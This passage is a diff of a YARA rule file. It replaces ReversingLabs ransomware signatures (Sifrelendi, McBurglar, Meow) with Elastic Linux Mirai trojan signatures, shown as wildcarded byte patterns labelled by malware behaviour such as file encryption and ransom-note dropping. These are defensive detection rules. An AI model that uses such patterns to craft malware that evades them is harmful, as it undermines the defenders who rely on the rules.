-            51 E8 ?? ?? ?? ?? 59 B9 ?? ?? ?? ?? 89 D6 6A ?? 5A 56 50 E8 ?? ?? ?? ?? 8D 8C 24 ??
-            ?? ?? ?? 83 C4 ?? 84 C0 0F 85 ?? ?? ?? ?? FF 04 24 51 57 E8 ?? ?? ?? ?? 58 59 8D 8C
-            24 ?? ?? ?? ?? 8D 54 24 ?? 57 E8 ?? ?? ?? ?? 58 83 BC 24 ?? ?? ?? ?? ?? 0F 84 ?? ??
-            ?? ?? 8B 84 24 ?? ?? ?? ?? F2 0F 10 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? A1 ?? ??
-            ?? ?? F2 0F 11 84 24 ?? ?? ?? ?? 8B 00 83 F8 ?? 72 ?? 8D 84 24 ?? ?? ?? ?? C7 84 24
-            ?? ?? ?? ?? ?? ?? ?? ?? 8D 4C 24 ?? 89 44 24 ?? 31 C0 C7 44 24 ?? ?? ?? ?? ?? 40 89
-            84 24 ?? ?? ?? ?? 83 A4 24 ?? ?? ?? ?? ?? 89 8C 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ??
-            68 ?? ?? ?? ?? 6A ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 57 E8
-            ?? ?? ?? ?? 59 89 D6 B9 ?? ?? ?? ?? 6A ?? 5A 56 50 E8 ?? ?? ?? ?? 59 5A 89 F9 89 C3
-            E8 ?? ?? ?? ?? 84 DB 0F 85 ?? ?? ?? ?? 6A ?? 59 8D 7C 24 ?? 8D B4 24 ?? ?? ?? ?? F3
-            A5 6A ?? 59 8D BC 24 ?? ?? ?? ?? 8D 74 24 ?? 31 C0 F3 A5 E9 ?? ?? ?? ?? 8B 84 24 ??
-            ?? ?? ?? 85 C0 74 ?? 8B 8C 24 ?? ?? ?? ?? 50 FF 11 83 C4 ?? 8B 84 24 ?? ?? ?? ?? 8B
-            70 ?? 8B 78 ?? FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 89 C1 89 F2 57 E8 ?? ?? ?? ??
-            58 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 9C 24 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 59 69
-        }
-		$encrypt_files_p2 = {
-            7B ?? ?? ?? ?? ?? 89 C6 83 C6 ?? 85 FF 74 ?? 83 7E ?? ?? 74 ?? 8D 46 ?? 50 E8 ?? ??
-            ?? ?? 58 81 C6 ?? ?? ?? ?? 81 C7 ?? ?? ?? ?? EB ?? 83 7E ?? ?? 74 ?? 83 3E ?? 74 ??
-            8D 4E ?? E8 ?? ?? ?? ?? EB ?? 8D 46 ?? 50 E8 ?? ?? ?? ?? 58 8B 06 F0 FF 08 75 ?? 56
-            E8 ?? ?? ?? ?? EB ?? 53 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 58 59 8B 4C 24 ?? 85 C9 74 ??
-            8B 54 24 ?? FF 74 24 ?? E8 ?? ?? ?? ?? 58 8D 9C 24 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 59
-            6B 5B ?? ?? 89 C7 89 C6 83 C7 ?? 85 DB 74 ?? 8D 4E ?? E8 ?? ?? ?? ?? 83 7E ?? ?? 74
-            ?? 57 E8 ?? ?? ?? ?? 58 83 3F ?? 74 ?? 8D 47 ?? EB ?? 8D 46 ?? 50 E8 ?? ?? ?? ?? 58
-            83 C6 ?? 83 C7 ?? 83 C3 ?? EB ?? 8D 84 24 ?? ?? ?? ?? 50 8D 5C 24 ?? 53 E8 ?? ?? ??
-            ?? 58 59 8B 4C 24 ?? 85 C9 74 ?? 8B 54 24 ?? FF 74 24 ?? E8 ?? ?? ?? ?? 58 8D B4 24
-            ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 59 6B 7E ?? ?? 89 C1 85 FF 74 ?? 8D 59 ?? 83 C1 ?? E8
-            ?? ?? ?? ?? 89 D9 83 C7 ?? 8D 5C 24 ?? EB ?? 56 53 E8 ?? ?? ?? ?? 58 59 8B 4C 24 ??
-            85 C9 74 ?? 8B 54 24 ?? FF 74 24 ?? E8 ?? ?? ?? ?? 58 A1 ?? ?? ?? ?? 8B 00 83 F8 ??
-            72 ?? 89 E0 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 89 C6 89 D7 68 ?? ?? ?? ?? 8D 44
-            24 ?? 50 E8 ?? ?? ?? ?? 59 59 89 B4 24 ?? ?? ?? ?? 89 BC 24 ?? ?? ?? ?? 89 84 24 ??
-            ?? ?? ?? 89 94 24 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 6A ?? 58 89 44 24 ?? 83 64 24
-            ?? ?? 8D 8C 24 ?? ?? ?? ?? 89 4C 24 ?? 89 44 24 ?? 68 ?? ?? ?? ?? 6A ?? 53 E8 ?? ??
-            ?? ?? 83 C4 ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 8B 7D ?? 8B 77 ?? 83 C7 ?? 8D 4E ?? E8 ??
-            ?? ?? ?? C7 46 ?? ?? ?? ?? ?? 83 66 ?? ?? 89 F9 E8 ?? ?? ?? ?? 8D 65 ?? 5E 5F 5B 5D
-            C3
-        }
-		$drop_hta_file_p1 = {
-            6A ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 56 E8 ?? ?? ?? ?? 59 89 D3 89 F9 89
-            C2 53 E8 ?? ?? ?? ?? 58 8D B4 24 ?? ?? ?? ?? 89 F1 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ??
-            ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 57 E8 ?? ?? ?? ?? 58 31 DB 43 53 57 E8 ?? ?? ?? ?? 59
-            5A 53 89 DF 50 E8 ?? ?? ?? ?? 59 5A 8D 5C 24 ?? 89 C2 89 D9 56 E8 ?? ?? ?? ?? 58 39
-            3B 0F 85 ?? ?? ?? ?? F2 0F 10 44 24 ?? A1 ?? ?? ?? ?? 8D 74 24 ?? 8D BC 24 ?? ?? ??
-            ?? F2 0F 11 44 24 ?? 8B 00 83 F8 ?? 72 ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 59 59 89
-            84 24 ?? ?? ?? ?? 31 C0 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 89 94 24 ?? ?? ?? ?? 40 89
-            84 24 ?? ?? ?? ?? 83 A4 24 ?? ?? ?? ?? ?? 89 BC 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ??
-            68 ?? ?? ?? ?? 6A ?? 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 56 E8 ?? ?? ??
-            ?? EB ?? 8B 44 24 ?? 89 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ??
-            8D BC 24 ?? ?? ?? ?? 57 8D B4 24 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 89 F1 E8 ??
-            ?? ?? ?? 57 E8 ?? ?? ?? ?? 58 6A ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 6A
-        }
-		$drop_hta_file_p2 = {
-            68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 8D B4 24 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 58
-            31 DB 43 53 56 E8 ?? ?? ?? ?? 59 5A 53 50 E8 ?? ?? ?? ?? 59 5A 8D 74 24 ?? 89 C2 89
-            F1 57 E8 ?? ?? ?? ?? 58 39 1E 0F 85 ?? ?? ?? ?? F2 0F 10 44 24 ?? A1 ?? ?? ?? ?? 8D
-            74 24 ?? F2 0F 11 84 24 ?? ?? ?? ?? 8B 00 83 F8 ?? 72 ?? 68 ?? ?? ?? ?? 8D 84 24 ??
-            ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 89 44 24 ?? 31 C0 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ??
-            89 54 24 ?? 40 89 84 24 ?? ?? ?? ?? 83 A4 24 ?? ?? ?? ?? ?? 89 B4 24 ?? ?? ?? ?? 89
-            84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4
-            ?? 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? EB ?? 8B 44 24 ?? 89 44 24 ?? 68 ?? ?? ??
-            ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 8D 74 24 ?? 56 8D 9C 24 ?? ?? ?? ?? 53 E8 ?? ?? ?? ??
-            83 C4 ?? 89 D9 E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 58 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59
-            8D BC 24 ?? ?? ?? ?? 89 C3 89 84 24 ?? ?? ?? ?? BA ?? ?? ?? ?? 89 F9 6A ?? E8 ?? ??
-            ?? ?? 58 83 64 24 ?? ?? 83 64 24 ?? ?? 57 E8 ?? ?? ?? ?? 59 8D 4C 24 ?? 51 56 6A ??
-            68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 50 53 E8
-        }
+		$a = { 83 EC 04 8A 44 24 18 8B 5C 24 14 88 44 24 03 8A 44 24 10 25 FF 00 }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*)) and ( all of ($drop_hta_file_p*))
+		all of them
 }
-rule REVERSINGLABS_Win32_Ransomware_Sifrelendi : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_612B407C : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects Sifrelendi ransomware."
-		author = "ReversingLabs"
-		id = "b9083b7c-eb09-52da-a240-39b51df892f9"
-		date = "2020-07-15"
-		modified = "2020-07-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Sifrelendi.yara#L1-L67"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "430d3877c10c86fcb19b5624dd8886d61e54ccd0453678329309b49712c6d5c6"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "612b407c-fceb-4a19-8905-2f5b822f62cc"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L1541-L1559"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "7833bc89778461a9f46cc47a78c67dda48b498ee40b09a80a21e67cb70c6add1"
+		logic_hash = "6514725a32f7c28be7de5ff6fe1363df7c50e2cd6c8c79824ec4cbeadda2ca31"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "Sifrelendi"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "c48c26b1052ef832d4d6a106db186bf20c503bdf38392a1661eb2d3c3ec010cd"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$search_files = {
-            E9 ?? ?? ?? ?? EB ?? 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85
-            ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ??
-            33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 7E ?? 8D 85 ?? ?? ??
-            ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? E8
-            ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 33 C0 5A 59 59 64 89 10 68
-            ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 8D 85 ?? ?? ??
-            ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64
-            89 20 F6 85 ?? ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74
-            ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? 8D 85 ?? ?? ?? ?? 8B 8D ??
-            ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? E8 ?? ?? ?? ??
-            8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ??
-            8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 33 C0 5A 59 59 64 89 10 EB
-            ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ??
-            ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 5F 5E 5B 8B E5 5D
-            C3
-        }
-		$encrypt_files = {
-            55 8B EC 83 C4 ?? 53 56 57 33 DB 89 5D ?? 89 4D ?? 89 55 ?? 89 45 ?? 8B 45 ?? E8 ??
-            ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64
-            FF 30 64 89 20 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 B2 ?? A1 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 89 45 ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 33 C9 B2 ?? A1 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 8B F8 8B 0D ?? ?? ?? ?? 8B 55 ?? 8B C7 E8 ?? ?? ?? ?? 33 C9 B2
-            ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 8B 0D ?? ?? ?? ?? 8B 55 ?? 8B C6 E8 ?? ?? ??
-            ?? 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 8B 45
-            ?? 8B 10 FF 12 50 8B CB 8B 55 ?? 8B C6 E8 ?? ?? ?? ?? 8B C6 8B 10 FF 52 ?? 6A ?? 6A
-            ?? 8B C3 E8 ?? ?? ?? ?? 8B C3 8B 10 FF 12 50 8B 4D ?? 8B D3 8B C7 E8 ?? ?? ?? ?? 8B
-            C7 8B 10 FF 52 ?? 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ??
-            E8 ?? ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? 8B C7 E8 ?? ?? ?? ?? 8D 45
-            ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 8B 45 ?? E8 ??
-            ?? ?? ?? 50 E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 EB ?? E9 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ??
-            ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 5F 5E 5B 8B E5 5D C3
-        }
+		$a = { 11 B2 73 45 2B 7A 57 E2 F9 77 A2 23 EC 7C 0C 29 FE 3F B2 DE 28 6C }
 
 	condition:
-		uint16(0)==0x5A4D and ($search_files) and ($encrypt_files)
+		all of them
 }
-rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Mcburglar : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_D5Da717F : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects McBurglar ransomware."
-		author = "ReversingLabs"
-		id = "11816401-87c3-5aff-b161-da0fa4eb4bca"
-		date = "2021-09-27"
-		modified = "2021-09-27"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/ByteCode.MSIL.Ransomware.McBurglar.yara#L1-L75"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "57fefcdc1528fc1c8da36a431cd09774e33ea08a394ac4f8d19a27504e72676d"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "d5da717f-3344-41a8-884e-8944172ea370"
+		date = "2021-04-06"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L1561-L1579"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1f6bcdfc7d1c56228897cd7548266bb0b9a41b913be354036816643ac21b6f66"
+		logic_hash = "034dae5bea7536e8c8aa22b8b891b9c991b94f04be12c9fe6d78ddf07a2365d9"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "McBurglar"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "c3674075a435ef1cd9e568486daa2960450aa7ffa8e5dbf440a50e01803ea2f3"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$setup_env = {
-            00 7E ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 1F ?? 28 ?? ?? ??
-            ?? 6F ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 1F ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 7E ?? ?? ??
-            ?? 1B 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 1F ?? 28 ?? ?? ?? ?? 6F ?? ?? ??
-            ?? 00 7E ?? ?? ?? ?? 1F ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 28 ?? ?? ?? ?? 00 28 ?? ??
-            ?? ?? 00 2A
-        }
-		$encrypt_files_p1 = {
-            00 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 0A 2B ?? 73 ?? ?? ?? ?? 0B 07 12 ?? 28 ?? ?? ?? ??
-            7D ?? ?? ?? ?? 00 07 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00
-            00 12 ?? 28 ?? ?? ?? ?? 2D ?? DE ?? 12 ?? FE 16 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 DC 2A
-        }
-		$encrypt_files_p2 = {
-            00 28 ?? ?? ?? ?? 0A 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 18 73 ?? ?? ?? ?? 0B 73 ?? ?? ??
-            ?? 0C 28 ?? ?? ?? ?? 03 6F ?? ?? ?? ?? 0D 73 ?? ?? ?? ?? 13 ?? 11 ?? 20 ?? ?? ?? ?? 6F
-            ?? ?? ?? ?? 00 11 ?? 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 11 ?? 18 6F ?? ?? ?? ?? 00 09 06
-            20 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ??
-            ?? 6F ?? ?? ?? ?? 00 11 ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ??
-            ?? 00 11 ?? 1A 6F ?? ?? ?? ?? 00 07 06 16 06 8E 69 6F ?? ?? ?? ?? 00 07 11 ?? 6F ?? ??
-            ?? ?? 17 73 ?? ?? ?? ?? 13 ?? 02 19 73 ?? ?? ?? ?? 13 ?? 20 ?? ?? ?? ?? 8D ?? ?? ?? ??
-            13 ?? 00 2B ?? 00 11 ?? 11 ?? 16 11 ?? 6F ?? ?? ?? ?? 00 00 11 ?? 11 ?? 16 11 ?? 8E 69
-            6F ?? ?? ?? ?? 25 13 ?? 16 FE 02 13 ?? 11 ?? 2D ?? 11 ?? 6F ?? ?? ?? ?? 00 00 DE ?? 13
-            ?? 00 72 ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 00 DE ?? DE
-            ?? 00 11 ?? 6F ?? ?? ?? ?? 00 07 6F ?? ?? ?? ?? 00 00 DC 2A
-        }
-		$find_files = {
-            00 00 02 28 ?? ?? ?? ?? 0A 00 06 0C 16 0D 2B ?? 08 09 9A 13 ?? 00 11 ?? 28 ?? ?? ?? ??
-            00 00 09 17 58 0D 09 08 8E 69 32 ?? 02 28 ?? ?? ?? ?? 0B 00 07 13 ?? 16 13 ?? 2B ?? 11
-            ?? 11 ?? 9A 13 ?? 00 11 ?? 28 ?? ?? ?? ?? 00 00 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 32
-            ?? 00 DE ?? 26 00 00 DE ?? 2A
-        }
-		$generate_salt = {
-            00 1F ?? 8D ?? ?? ?? ?? 0A 73 ?? ?? ?? ?? 0B 00 16 0C 2B ?? 00 07 06 6F ?? ?? ?? ?? 00
-            00 08 17 58 0C 08 1F ?? FE 04 0D 09 2D ?? 00 DE ?? 07 2C ?? 07 6F ?? ?? ?? ?? 00 DC 06
-            13 ?? 2B ?? 11 ?? 2A
-        }
+		$a = { 00 00 66 83 7C 24 34 FF 66 89 46 2C 0F 85 C2 }
 
 	condition:
-		uint16(0)==0x5A4D and ($setup_env) and ($find_files) and ($generate_salt) and ( all of ($encrypt_files_p*))
+		all of them
 }
-rule REVERSINGLABS_Win32_Ransomware_Meow : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_D33095D4 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects Meow ransomware."
-		author = "ReversingLabs"
-		id = "7cebb04d-1cda-5ad1-b412-8b38df7b2550"
-		date = "2022-10-24"
-		modified = "2022-10-24"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Meow.yara#L1-L84"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "b00753d2b150a815279297ddf40d70051d25de1c32bb90f5b706ea7fd36bb871"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "d33095d4-ea02-4588-9852-7493f6781bb4"
+		date = "2021-04-06"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L1581-L1599"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "72326a3a9160e9481dd6fc87159f7ebf8a358f52bf0c17fbc3df80217d032635"
+		logic_hash = "b7feaec65d72907d08c98b09fb4ac494ceee7d7bd51c09063363c617e3f057a4"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "Meow"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "20c0faab6aef6e0f15fd34f9bd173547f3195c096eb34c4316144b19d2ab1dc4"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$encrypt_files_p1 = {
-            72 ?? 8D 45 ?? BA ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            83 C4 ?? 68 ?? ?? ?? ?? 57 FF D0 85 C0 75 ?? 33 F6 6A ?? 68 ?? ?? ?? ?? BA ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 83 C4 ?? FF B4 B5 ?? ?? ?? ?? 57 FF D0 85 C0 75 ?? 46 83 FE ?? 7C
-            ?? 5F 5E B8 ?? ?? ?? ?? 5B 8B E5 5D C3 5F 5E 33 C0 5B 8B E5 5D C3 CC 55 8B EC 83 EC
-            ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 56 57 C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ??
-            ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ??
-            ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ??
-            ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? 8A 45 ?? 80 7D ?? ??
-            75
-        }
-		$encrypt_files_p2 = {
-            8B 45 ?? 40 89 45 ?? 8B 45 ?? 99 F7 F9 85 D2 74 ?? E9 ?? ?? ?? ?? 8B 45 ?? 25 ?? ??
-            ?? ?? 79 ?? 48 83 C8 ?? 83 C0 ?? 74 ?? 8B 4D ?? 8D 46 ?? 03 CF 0F AF C8 89 4D ?? 8B
-            45 ?? 25 ?? ?? ?? ?? 79 ?? 48 83 C8 ?? 83 C0 ?? 75 ?? B9 ?? ?? ?? ?? 90 8B 45 ?? 99
-            F7 F9 8B 45 ?? 85 D2 74 ?? 48 EB ?? 40 89 45 ?? 8B 45 ?? 25 ?? ?? ?? ?? 79 ?? 48 83
-            C8 ?? 83 C0 ?? 74 ?? EB ?? 8B 45 ?? B9 ?? ?? ?? ?? 99 F7 F9 85 D2 74 ?? 8B 45 ?? 8D
-            4E ?? 83 C0 ?? 99 F7 F9 B9 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 99 F7 F9 85 D2 75 ?? 8B 45
-            ?? 99 F7 7D ?? 8B 45 ?? 85 D2 74 ?? 40 EB ?? 48 89 45 ?? 8B 45 ?? 99 F7 F9 85 D2 74
-            ?? 6A ?? 68 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 56 FF
-            D0 C7 45 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 45 ?? 99 F7 F9 8B 45 ?? 85 D2 74 ?? 83 C0
-            ?? 03 C3 89 45 ?? 8B 45 ?? 25 ?? ?? ?? ?? 79 ?? 48 83 C8 ?? 83 C0 ?? 0F 85
-        }
-		$drop_ransom_note = {
-            66 8B 01 83 C1 ?? 66 85 C0 75 ?? 2B CA D1 F9 51 53 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85
-            FF 74 ?? 8B CF E8 ?? ?? ?? ?? C6 05 ?? ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 85 F6 74 ?? 6A
-            ?? 68 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? FF D0 6A ??
